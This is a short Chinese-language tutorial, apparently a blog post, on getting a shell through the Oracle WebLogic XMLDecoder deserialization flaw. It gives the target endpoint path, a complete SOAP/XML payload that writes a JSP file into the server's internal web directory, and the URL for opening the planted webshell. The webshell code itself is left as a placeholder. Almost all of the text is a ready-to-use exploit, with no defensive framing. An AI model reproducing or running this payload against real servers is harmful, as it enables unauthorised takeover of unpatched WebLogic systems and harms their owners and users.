【实战】Weblogic xmldecoder反序列化Getshell

1、访问http://x.x.x.x:7001/wls-wsat/CoordinatorPortType

2、加入Content-Type:text/xml

3、在body中放入payload：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

 <soapenv:Header>

   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

       <java><java version="1.4.0" class="java.beans.XMLDecoder">

           <object class="java.io.PrintWriter">

               <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/pan.jsp</string><void method="println">

                    <string><![CDATA[`此处放马（因为马的代码量太长顾不在此处展示ps:此处上传的不要带有中文要不会报错，可删掉中文上传，也可进行编码处理）`

]]></string></void><void method="close"/>

           </object>

       </java>

     </java>

   </work:WorkContext>

 </soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope> 

4、访问http://xx.xx.xx.xx:7001/bea_wls_internal/pan.jsp?o=index